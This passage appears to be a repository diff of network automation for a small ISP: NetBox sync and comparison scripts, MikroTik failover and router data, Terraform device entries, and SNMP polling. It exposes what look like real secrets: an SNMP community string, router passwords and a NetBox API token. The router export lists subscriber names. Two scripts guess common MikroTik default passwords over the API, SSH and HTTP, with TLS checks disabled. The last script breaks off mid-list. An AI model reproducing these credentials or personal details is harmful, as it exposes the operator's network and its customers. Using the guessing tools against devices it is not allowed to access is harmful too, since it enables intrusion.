if '/32' in subnet['address']:
missing_ips.append(subnet)
else:
missing_subnets.append(subnet)
# Report findings
print(f"\nMissing Subnets (not in NetBox):")
if missing_subnets:
for subnet in missing_subnets:
print(f" - {subnet['network']}/{subnet['address'].split('/')[-1]} ({subnet['interface']})")
else:
print(" None - all subnets are documented")
print(f"\nMissing IP Addresses (not in NetBox):")
if missing_ips:
for ip in missing_ips:
print(f" - {ip['address']} ({ip['interface']})")
else:
print(" None - all IPs are documented")
# Summary
total_router_subnets = len([s for s in router_subnets if '/32' not in s['address']])
total_router_ips = len([s for s in router_subnets if '/32' in s['address']])
print(f"\n=== Summary ===")
print(f"Router has {total_router_subnets} subnets and {total_router_ips} host IPs")
print(f"NetBox has {len(prefixes)} prefixes and {len(ip_addresses)} IP addresses for Verona")
print(f"Missing from NetBox: {len(missing_subnets)} subnets and {len(missing_ips)} IPs")
return missing_subnets, missing_ips
if __name__ == "__main__":
compare_subnets()

19
netwatch-failover.rsc Normal file
View file

@ -0,0 +1,19 @@
/tool netwatch
:foreach i in=[find comment~"path"] do={ remove $i }
/ip route
:foreach r in=[find comment~"probe pin"] do={ remove $r }
:foreach r in=[find comment~"probe blackhole"] do={ remove $r }
/ip route
add dst-address=4.2.2.1/32 gateway=192.168.12.1%ether6-tmobile check-gateway=ping distance=1 scope=10 comment="TMO probe pin"
add dst-address=4.2.2.1/32 type=blackhole distance=2 comment="TMO probe blackhole"
add dst-address=4.2.2.2/32 gateway=204.110.191.30%ether5-vntx-static check-gateway=ping distance=1 scope=10 comment="VNTX probe pin"
add dst-address=4.2.2.2/32 type=blackhole distance=2 comment="VNTX probe blackhole"
add dst-address=4.2.2.3/32 gateway=192.168.1.1%ether7-starlink check-gateway=ping distance=1 scope=10 comment="Starlink probe pin"
add dst-address=4.2.2.3/32 type=blackhole distance=2 comment="Starlink probe blackhole"
/tool netwatch
add type=simple host=4.2.2.1 interval=2s timeout=1s comment="TMO path" up-script="/ip route enable [find comment=\"Default via TMO (primary)\"]; /ip route enable [find comment=\"tmo table default\"]" down-script="/ip route disable [find comment=\"Default via TMO (primary)\"]; /ip route disable [find comment=\"tmo table default\"]"
add type=simple host=4.2.2.2 interval=2s timeout=1s comment="VNTX path" up-script="/ip route enable [find comment=\"Default via VNTX (secondary)\"]" down-script="/ip route disable [find comment=\"Default via VNTX (secondary)\"]"
add type=simple host=4.2.2.3 interval=2s timeout=1s comment="Starlink path" up-script="/ip route enable [find comment=\"Default via Starlink (last resort)\"]" down-script="/ip route disable [find comment=\"Default via Starlink (last resort)\"]"

28
new_hope_hosts.tf Normal file
View file

@ -0,0 +1,28 @@
resource "towerops_device" "new_hope_se" {
site_id = towerops_site.new_hope.id
name = "New Hope SE"
ip_address = "10.10.143.11"
snmp_version = "1"
}
resource "towerops_device" "new_hope_ne" {
site_id = towerops_site.new_hope.id
name = "New Hope NE"
ip_address = "10.10.143.12"
snmp_version = "1"
}
resource "towerops_device" "new_hope_nw" {
site_id = towerops_site.new_hope.id
name = "new hope nw"
ip_address = "10.10.143.13"
snmp_version = "1"
}
resource "towerops_device" "new_hope_sw" {
site_id = towerops_site.new_hope.id
name = "new hope sw"
ip_address = "10.10.143.14"
snmp_version = "1"
}

577
newhope_router_data.json Normal file
View file

@ -0,0 +1,577 @@
{
"host": "10.254.254.108",
"identity": null,
"timestamp": "2025-10-04T11:03:22.469427",
"subnets": [
{
"address": "10.254.254.108/32",
"network": "10.254.254.108",
"interface": "loopback",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.110/29",
"network": "10.250.1.104",
"interface": "ether6-lowrycrossing-new",
"comment": "",
"dynamic": false
},
{
"address": "10.10.143.254/20",
"network": "10.10.128.0",
"interface": "bridge_cpe_mgmt",
"comment": "",
"dynamic": false
},
{
"address": "100.64.19.254/22",
"network": "100.64.16.0",
"interface": "sfp-sfpplus1-edgepoint",
"comment": "",
"dynamic": false
},
{
"address": "204.110.188.190/27",
"network": "204.110.188.160",
"interface": "sfp-sfpplus1-edgepoint",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.57/29",
"network": "10.250.1.56",
"interface": "ether2-380",
"comment": "",
"dynamic": false
},
{
"address": "10.0.108.254/24",
"network": "10.0.108.0",
"interface": "ether7-tower",
"comment": "",
"dynamic": false
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.1",
"interface": "<pppoe-christelles>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.8",
"interface": "<pppoe-EdRater>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.10",
"interface": "<pppoe-mikecurrence>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.12",
"interface": "<pppoe-timthomas>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.15",
"interface": "<pppoe-cliffordjennings>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.18",
"interface": "<pppoe-susanking>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.24",
"interface": "<pppoe-kavalleriefarm>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.26",
"interface": "<pppoe-connercoleman>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.29",
"interface": "<pppoe-christinehamparyan>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "204.110.188.164",
"interface": "<pppoe-jamessmith>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.27",
"interface": "<pppoe-jackiehendricks>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "204.110.188.161",
"interface": "<pppoe-sensibleheatsystems-1>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.20",
"interface": "<pppoe-joepatton>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.11",
"interface": "<pppoe-joespeciale>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.16",
"interface": "<pppoe-kenhall>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.5",
"interface": "<pppoe-mikebell>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.9",
"interface": "<pppoe-franceskirby>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.19",
"interface": "<pppoe-chrisclayton>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.6",
"interface": "<pppoe-korybiggsshop>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.13",
"interface": "<pppoe-korybiggs>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.17",
"interface": "<pppoe-monicatrevino>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.25",
"interface": "<pppoe-briangallimore>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.2",
"interface": "<pppoe-choonpang>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.14",
"interface": "<pppoe-douglaswilson>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "204.110.188.168",
"interface": "<pppoe-lambandlion>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.4",
"interface": "<pppoe-swedlund>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.28",
"interface": "<pppoe-greghummel>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.3",
"interface": "<pppoe-bernardheer>",
"comment": "",
"dynamic": true
}
],
"interfaces": [
{
"name": "ether2-380",
"type": "ether",
"mac": "6C:3B:6B:E1:5D:48",
"comment": "",
"mtu": 1500
},
{
"name": "ether5-switch",
"type": "ether",
"mac": "6C:3B:6B:E1:5D:4B",
"comment": "",
"mtu": 1500
},
{
"name": "ether6-lowrycrossing-new",
"type": "ether",
"mac": "6C:3B:6B:E1:5D:4C",
"comment": "",
"mtu": 1500
},
{
"name": "ether7-tower",
"type": "ether",
"mac": "6C:3B:6B:E1:5D:4D",
"comment": "",
"mtu": 1500
},
{
"name": "sfp-sfpplus1-edgepoint",
"type": "ether",
"mac": "6C:3B:6B:E1:5D:45",
"comment": "",
"mtu": 1500
},
{
"name": "<pppoe-EdRater>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-bernardheer>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-briangallimore>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-choonpang>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-chrisclayton>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-christelles>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-christinehamparyan>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-cliffordjennings>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-connercoleman>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-douglaswilson>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-franceskirby>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-greghummel>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-jackiehendricks>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-jamessmith>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-joepatton>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-joespeciale>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-kavalleriefarm>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-kenhall>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-korybiggs>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-korybiggsshop>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-lambandlion>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-mikebell>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-mikecurrence>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-monicatrevino>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-sensibleheatsystems-1>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-susanking>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-swedlund>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-timthomas>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "bridge_cpe_mgmt",
"type": "bridge",
"mac": "6C:3B:6B:E1:5D:45",
"comment": "",
"mtu": "auto"
},
{
"name": "lo",
"type": "loopback",
"mac": "00:00:00:00:00:00",
"comment": "",
"mtu": 65536
},
{
"name": "loopback",
"type": "bridge",
"mac": "FE:34:14:95:54:B7",
"comment": "",
"mtu": 1500
},
{
"name": "mgmt_ether5",
"type": "vlan",
"mac": "6C:3B:6B:E1:5D:4B",
"comment": "",
"mtu": 1500
},
{
"name": "mgmt_sfp+",
"type": "vlan",
"mac": "6C:3B:6B:E1:5D:45",
"comment": "",
"mtu": 1500
},
{
"name": "newhope",
"type": "bridge",
"mac": "6C:3B:6B:E1:5D:46",
"comment": "",
"mtu": "auto"
}
],
"vlans": [
{
"name": "mgmt_ether5",
"vlan_id": 10,
"interface": "ether5-switch"
},
{
"name": "mgmt_sfp+",
"vlan_id": 10,
"interface": "sfp-sfpplus1-edgepoint"
}
],
"pppoe_servers": [
{
"service_name": "newhope",
"interface": "newhope"
}
],
"routes": [
{
"destination": "10.10.144.0/20",
"gateway": "10.250.1.105",
"distance": 1,
"comment": ""
},
{
"destination": "10.254.254.109/32",
"gateway": "10.250.1.105",
"distance": 1,
"comment": ""
},
{
"destination": "45.76.233.160/32",
"gateway": "10.9.108.254",
"distance": 1,
"comment": ""
},
{
"destination": "100.64.20.0/22",
"gateway": "10.250.1.105",
"distance": 1,
"comment": ""
},
{
"destination": "204.110.188.192/27",
"gateway": "10.250.1.105",
"distance": 1,
"comment": ""
}
]
}

41
poll_snmp_site.sh Executable file
View file

@ -0,0 +1,41 @@
#!/bin/bash
# Generic SNMP polling script for network sites
# Usage: ./poll_snmp_site.sh <site_name> <ip1> <ip2> <ip3> ...
if [ $# -lt 2 ]; then
echo "Usage: $0 <site_name> <ip1> [ip2] [ip3] ..."
echo "Example: $0 new_hope 10.10.143.11 10.10.143.12 10.10.143.13"
exit 1
fi
SITE_NAME="$1"
shift
IPS=("$@")
# SNMP community string
COMMUNITY="kdyyJrT0Mm"
# Output file for results
OUTPUT="${SITE_NAME}_results.txt"
> "$OUTPUT"
# Poll each device
for IP in "${IPS[@]}"; do
echo "Polling $IP..."
SYSNAME=$(snmpget -v1 -c "$COMMUNITY" -t 2 -r 1 "$IP" 1.3.6.1.2.1.1.5.0 2>/dev/null | awk -F': ' '{print $2}' | tr -d '"')
if [ -n "$SYSNAME" ]; then
echo "$IP|$SYSNAME" >> "$OUTPUT"
echo " Found: $SYSNAME"
else
echo "$IP|UNKNOWN" >> "$OUTPUT"
echo " Could not retrieve sysName"
fi
done
echo ""
echo "Results saved to $OUTPUT"
echo ""
echo "To generate Terraform config, run:"
echo " python3 generate_terraform.py $OUTPUT $SITE_NAME"

2
requirements.txt Normal file
View file

@ -0,0 +1,2 @@
requests>=2.31.0
urllib3>=2.0.0

31
routers.yaml Normal file
View file

@ -0,0 +1,31 @@
# Default credentials applied to every router unless overridden per-entry.
#
# NOTE: the export command writes a file to router flash via "/export file=...",
# which requires the `ftp` policy in addition to `read` + `api`. The default
# RouterOS `read` group does NOT include `ftp`, so the read-only `grahamro`
# account in CLAUDE.md will fail with "not enough permissions (9)".
#
# Either use an account in a group with policies = read,api,ftp (or full), or
# extend the existing read group: /user group set read add-policy=ftp
defaults:
username: graham
password: ctg5qyn3uhe*UBP8rmw
port: 8729 # MikroTik API-SSL
routers:
- name: verona
host: 10.254.254.101
- name: climax
host: 10.254.254.102
- name: culleoka
host: 10.254.254.104
- name: newhope
host: 10.254.254.108
- name: lowry
host: 10.254.254.109
- name: "982"
host: 10.254.254.110
- name: "494"
host: 10.254.254.111
- name: core
host: 10.254.254.253

341
sync_mikrotik_to_netbox.py Executable file
View file

@ -0,0 +1,341 @@
#!/usr/bin/env python3
import requests
import json
import argparse
import sys
from urllib.parse import urljoin
from mikrotik_connect import MikrotikAPI
class NetBoxSync:
def __init__(self, netbox_url, netbox_token):
self.base_url = netbox_url.rstrip('/')
self.api_url = urljoin(self.base_url + '/', 'api/')
self.headers = {
'Authorization': f'Token {netbox_token}',
'Content-Type': 'application/json',
'Accept': 'application/json'
}
self.session = requests.Session()
self.session.headers.update(self.headers)
def post(self, endpoint, data):
"""Make POST request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.post(url, json=data)
if response.status_code not in [200, 201]:
print(f"Error creating {endpoint}: {response.status_code}")
print(f"Response: {response.text}")
response.raise_for_status()
return response.json()
def patch(self, endpoint, data):
"""Make PATCH request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.patch(url, json=data)
if response.status_code not in [200, 201]:
print(f"Error updating {endpoint}: {response.status_code}")
print(f"Response: {response.text}")
response.raise_for_status()
return response.json()
def get(self, endpoint, params=None):
"""Make GET request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.get(url, params=params)
response.raise_for_status()
return response.json()
def get_or_create_prefix_role(self, role_name):
"""Get or create a prefix role"""
# Check if role exists
role_response = self.get('ipam/roles/', params={'name': role_name})
if role_response['count'] > 0:
return role_response['results'][0]['id']
# Create role
role_data = {
'name': role_name,
'slug': role_name.lower().replace(' ', '-')
}
created_role = self.post('ipam/roles/', role_data)
return created_role['id']
def determine_prefix_role(self, interface_name, ip_address):
"""Determine the role of a prefix based on interface and IP"""
interface_lower = interface_name.lower()
if 'loopback' in interface_lower:
return 'Loopback'
elif any(mgmt in interface_lower for mgmt in ['mgmt', 'management', 'ether1']):
return 'Management'
elif any(infra in interface_lower for infra in ['tower', 'backhaul', 'climax', 'switch']):
return 'Infrastructure'
elif ip_address.startswith('100.64.'):
return 'CGNAT'
elif ip_address.startswith('10.10.'):
return 'CPE-Management'
elif any(cust in interface_lower for cust in ['customer', 'cpe', 'vlan']):
return 'Customer'
else:
return 'Unknown'
def determine_interface_type(self, interface_name):
"""Determine the NetBox interface type based on MikroTik interface name"""
interface_lower = interface_name.lower()
# Check for specific interface types first (most specific to least specific)
if 'loopback' in interface_lower or interface_lower == 'lo':
return 'virtual'
elif 'vlan' in interface_lower:
return 'virtual'
elif 'bond' in interface_lower or 'bonding' in interface_lower:
return 'lag'
elif 'pppoe' in interface_lower:
return 'virtual'
elif 'sfp-sfpplus' in interface_lower or 'sfpplus' in interface_lower:
return '10gbase-x-sfpp'
elif 'sfp' in interface_lower:
return '1000base-x-sfp'
elif 'ether' in interface_lower:
return '1000base-t'
elif 'wlan' in interface_lower or 'wireless' in interface_lower:
return 'ieee802.11n'
elif 'bridge' in interface_lower:
return 'bridge'
# Only check for exact matches for bridge names
elif interface_lower in ['verona', 'lowry', 'culleoka', 'climax', 'yorkshire', 'new-hope']:
return 'bridge'
else:
return 'other'
def sync_router_to_netbox(self, router_ip, router_user, router_pass, site_name, device_name=None):
"""Sync router configuration to NetBox"""
# Connect to router and get data
print(f"Connecting to router {router_ip}...")
api = MikrotikAPI(router_ip, router_user, router_pass)
try:
if not api.connect():
print("Failed to connect to router")
return False
if not api.login():
print("Failed to login to router")
return False
# Get all IP addresses from router
addresses = api.command("/ip/address/print")
print(f"Retrieved {len(addresses)} IP addresses from router")
finally:
api.disconnect()
# Get site from NetBox
site_response = self.get('dcim/sites/', params={'name': site_name})
if site_response['count'] == 0:
print(f"Error: Site '{site_name}' not found in NetBox")
return False
site_id = site_response['results'][0]['id']
print(f"Found site '{site_name}' with ID: {site_id}")
# Get device if specified
device_id = None
if device_name:
device_response = self.get('dcim/devices/', params={'name': device_name})
if device_response['count'] > 0:
device_id = device_response['results'][0]['id']
print(f"Found device '{device_name}' with ID: {device_id}")
else:
# Try to find a device at this site
device_response = self.get('dcim/devices/', params={'site_id': site_id})
if device_response['count'] > 0:
device_id = device_response['results'][0]['id']
device_name = device_response['results'][0]['name']
print(f"Found device '{device_name}' at site")
# Process addresses (excluding dynamic PPPoE)
prefixes_to_create = {}
ips_to_update = []
for addr in addresses:
# Skip disabled and dynamic addresses
if addr.get('disabled', 'false') == 'true':
continue
if addr.get('dynamic', 'false') == 'true' and 'pppoe' in addr.get('interface', '').lower():
continue
interface = addr.get('interface', 'unknown')
address = addr.get('address', '')
network = addr.get('network', '')
if not address or not network:
continue
# Calculate prefix
prefix_bits = address.split('/')[-1]
prefix = f"{network}/{prefix_bits}"
# Store unique prefixes
if prefix not in prefixes_to_create and prefix != f"{network}/32":
prefixes_to_create[prefix] = {
'interface': interface,
'role': self.determine_prefix_role(interface, address)
}
# Store IPs to update
ips_to_update.append({
'address': address,
'interface': interface,
'prefix': prefix
})
# Create/Update prefixes
print(f"\n=== Processing {len(prefixes_to_create)} Prefixes ===")
prefix_stats = {'created': 0, 'updated': 0, 'failed': 0}
for prefix, info in prefixes_to_create.items():
# Check if prefix exists
prefix_response = self.get('ipam/prefixes/', params={'prefix': prefix})
prefix_data = {
'prefix': prefix,
'site': site_id,
'status': 'active',
'description': f"{site_name} - {info['interface']}",
'is_pool': False
}
# Add role
try:
role_id = self.get_or_create_prefix_role(info['role'])
prefix_data['role'] = role_id
except:
pass
try:
if prefix_response['count'] == 0:
# Create new prefix
self.post('ipam/prefixes/', prefix_data)
print(f"Created prefix: {prefix} ({info['role']})")
prefix_stats['created'] += 1
else:
# Update existing prefix
existing_id = prefix_response['results'][0]['id']
self.patch(f'ipam/prefixes/{existing_id}/', prefix_data)
print(f"Updated prefix: {prefix} ({info['role']})")
prefix_stats['updated'] += 1
except Exception as e:
print(f"Failed to process prefix {prefix}: {e}")
prefix_stats['failed'] += 1
print(f"\nPrefix Summary: {prefix_stats['created']} created, {prefix_stats['updated']} updated, {prefix_stats['failed']} failed")
# Update IP addresses
print(f"\n=== Processing {len(ips_to_update)} IP Addresses ===")
ip_stats = {'created': 0, 'updated': 0, 'failed': 0}
for ip_info in ips_to_update:
# Check if IP exists
ip_response = self.get('ipam/ip-addresses/', params={'address': ip_info['address']})
ip_data = {
'address': ip_info['address'],
'status': 'active',
'description': f"{ip_info['interface']}",
'tenant': None
}
try:
if ip_response['count'] == 0:
# Create new IP
ip_data['site'] = site_id
self.post('ipam/ip-addresses/', ip_data)
print(f"Created IP: {ip_info['address']} ({ip_info['interface']})")
ip_stats['created'] += 1
else:
# Update existing IP
existing_ip = ip_response['results'][0]
existing_id = existing_ip['id']
# Only update if needed
if existing_ip.get('site', {}).get('id') != site_id or existing_ip.get('description') != ip_data['description']:
ip_data['site'] = site_id
self.patch(f'ipam/ip-addresses/{existing_id}/', ip_data)
print(f"Updated IP: {ip_info['address']} ({ip_info['interface']})")
ip_stats['updated'] += 1
# Create interface if device exists
if device_id:
interface_name = ip_info['interface']
# Check if interface exists
interface_response = self.get('dcim/interfaces/', params={
'device_id': device_id,
'name': interface_name
})
if interface_response['count'] == 0:
# Create interface
interface_data = {
'device': device_id,
'name': interface_name,
'type': self.determine_interface_type(interface_name),
'enabled': True
}
try:
created_interface = self.post('dcim/interfaces/', interface_data)
interface_id = created_interface['id']
# Assign IP to interface
ip_id = self.get('ipam/ip-addresses/', params={'address': ip_info['address']})['results'][0]['id']
self.patch(f'ipam/ip-addresses/{ip_id}/', {
'assigned_object_type': 'dcim.interface',
'assigned_object_id': interface_id
})
print(f" - Created interface: {interface_name} (Type: {interface_data['type']})")
except Exception as e:
print(f" - Failed to create interface {interface_name}: {e}")
except Exception as e:
print(f"Failed to process IP {ip_info['address']}: {e}")
ip_stats['failed'] += 1
print(f"\nIP Summary: {ip_stats['created']} created, {ip_stats['updated']} updated, {ip_stats['failed']} failed")
print("\n=== Sync Complete ===")
return True
def main():
parser = argparse.ArgumentParser(description='Sync MikroTik router configuration to NetBox')
parser.add_argument('router_ip', help='Router IP address')
parser.add_argument('site_name', help='NetBox site name')
parser.add_argument('--router-user', default='grahamro', help='Router username (default: grahamro)')
parser.add_argument('--router-pass', default='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', help='Router password')
parser.add_argument('--device-name', help='NetBox device name (optional)')
parser.add_argument('--netbox-url', default='https://netbox.vntx.net/', help='NetBox URL')
parser.add_argument('--netbox-token', default='e50298f7fd20f7fd6f1931f635511b34f6e8cfde', help='NetBox API token')
args = parser.parse_args()
# Create sync instance
sync = NetBoxSync(args.netbox_url, args.netbox_token)
# Run sync
success = sync.sync_router_to_netbox(
args.router_ip,
args.router_user,
args.router_pass,
args.site_name,
args.device_name
)
return 0 if success else 1
if __name__ == "__main__":
sys.exit(main())

184
test_mikrotik_api_auth.py Normal file
View file

@ -0,0 +1,184 @@
#!/usr/bin/env python3
"""
MikroTik API Authentication Tester
Tests credentials using the MikroTik API protocol on port 8728/8729
"""
import ssl
import socket
import sys
class MikrotikAPITester:
def __init__(self, host, port=8729):
self.host = host
self.port = port
self.sock = None
self.ssl_sock = None
def connect(self):
"""Establish SSL connection to MikroTik router"""
try:
# Create socket and SSL context
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
# Allow older SSL/TLS versions for compatibility
context.set_ciphers('DEFAULT:@SECLEVEL=0')
# Connect to router
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(10)
self.sock.connect((self.host, self.port))
self.ssl_sock = context.wrap_socket(self.sock)
return True
except Exception as e:
print(f"Connection failed: {e}")
return False
def disconnect(self):
"""Close the connection"""
if self.ssl_sock:
self.ssl_sock.close()
if self.sock:
self.sock.close()
def encode_length(self, length):
"""Encode length for MikroTik API protocol"""
if length <= 0x7F:
return bytes([length])
elif length <= 0x3FFF:
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
elif length <= 0x1FFFFF:
return bytes([((length >> 16) & 0xFF) | 0xC0,
(length >> 8) & 0xFF,
length & 0xFF])
elif length <= 0xFFFFFFF:
return bytes([((length >> 24) & 0xFF) | 0xE0,
(length >> 16) & 0xFF,
(length >> 8) & 0xFF,
length & 0xFF])
else:
return bytes([0xF0,
(length >> 24) & 0xFF,
(length >> 16) & 0xFF,
(length >> 8) & 0xFF,
length & 0xFF])
def decode_length(self):
"""Decode length from MikroTik API protocol"""
c = self.ssl_sock.recv(1)[0]
if (c & 0x80) == 0x00:
return c
elif (c & 0xC0) == 0x80:
return ((c & ~0xC0) << 8) + self.ssl_sock.recv(1)[0]
elif (c & 0xE0) == 0xC0:
data = self.ssl_sock.recv(2)
return ((c & ~0xE0) << 16) + (data[0] << 8) + data[1]
elif (c & 0xF0) == 0xE0:
data = self.ssl_sock.recv(3)
return ((c & ~0xF0) << 24) + (data[0] << 16) + (data[1] << 8) + data[2]
elif (c & 0xF8) == 0xF0:
data = self.ssl_sock.recv(4)
return (data[0] << 24) + (data[1] << 16) + (data[2] << 8) + data[3]
def write_word(self, word):
"""Send a word to the router"""
word_bytes = word.encode('utf-8')
self.ssl_sock.send(self.encode_length(len(word_bytes)))
self.ssl_sock.send(word_bytes)
def read_word(self):
"""Read a word from the router"""
length = self.decode_length()
if length == 0:
return ""
return self.ssl_sock.recv(length).decode('utf-8', 'ignore')
def write_sentence(self, words):
"""Send a sentence (list of words) to the router"""
for word in words:
self.write_word(word)
self.write_word("")
def read_sentence(self):
"""Read a sentence from the router"""
sentence = []
while True:
word = self.read_word()
if word == "":
break
sentence.append(word)
return sentence
def test_login(self, username, password):
"""Test login credentials"""
if not self.connect():
return False
try:
# Send login command
self.write_sentence(["/login", f"=name={username}", f"=password={password}"])
# Read response
response = self.read_sentence()
if response and response[0] == "!done":
return True
else:
return False
except Exception as e:
print(f"Login test error: {e}")
return False
finally:
self.disconnect()
def main():
host = "10.250.2.2"
# Test both SSL and non-SSL ports
ports = [8729, 8728] # SSL and non-SSL
# Common MikroTik default passwords
credentials = [
("admin", ""), # Empty password
("admin", "admin"), # admin/admin
("admin", "password"), # admin/password
("admin", "123456"), # admin/123456
("admin", "mikrotik"), # admin/mikrotik
("admin", "router"), # admin/router
("admin", "default"), # admin/default
]
print(f"Testing MikroTik API authentication on {host}")
print("=" * 60)
for port in ports:
port_type = "SSL" if port == 8729 else "Non-SSL"
print(f"\nTesting port {port} ({port_type}):")
tester = MikrotikAPITester(host, port)
for username, password in credentials:
pwd_display = f'"{password}"' if password else "(empty)"
print(f" Testing {username}:{pwd_display}...", end=" ")
if tester.test_login(username, password):
print(f"✓ SUCCESS!")
print(f"\n*** WORKING CREDENTIALS FOUND ***")
print(f"Host: {host}")
print(f"Port: {port} ({port_type})")
print(f"Username: {username}")
print(f"Password: {pwd_display}")
return
else:
print("✗ Failed")
print("\nNo working credentials found with common defaults.")
print("\nSuggestions:")
print("1. Device may have custom password")
print("2. Try hardware reset if you own the device")
print("3. Check if WinBox shows any additional information")
if __name__ == "__main__":
main()

94
test_mikrotik_creds.py Normal file
View file

@ -0,0 +1,94 @@
#!/usr/bin/env python3
"""
Simple MikroTik credential tester
Tests common default passwords for MikroTik devices
"""
import paramiko
import requests
from requests.auth import HTTPBasicAuth
import time
def test_ssh_credentials(host, username, password, timeout=5):
"""Test SSH credentials"""
try:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(
host,
port=22,
username=username,
password=password,
timeout=timeout,
allow_agent=False,
look_for_keys=False,
)
client.close()
return True
except paramiko.AuthenticationException:
return False
except Exception as e:
print(f"SSH connection error: {e}")
return False
def test_http_credentials(host, username, password, timeout=5):
"""Test HTTP credentials by checking for successful auth"""
try:
# Try to access a protected resource
response = requests.get(
f"http://{host}/status",
auth=HTTPBasicAuth(username, password),
timeout=timeout,
allow_redirects=False
)
# If we get anything other than 401/403, auth might be working
return response.status_code not in [401, 403]
except Exception as e:
print(f"HTTP connection error: {e}")
return False
def main():
host = "10.250.2.2"
username = "admin"
# Common MikroTik default passwords
passwords = [
"", # Empty password
"admin", # admin/admin
"password", # admin/password
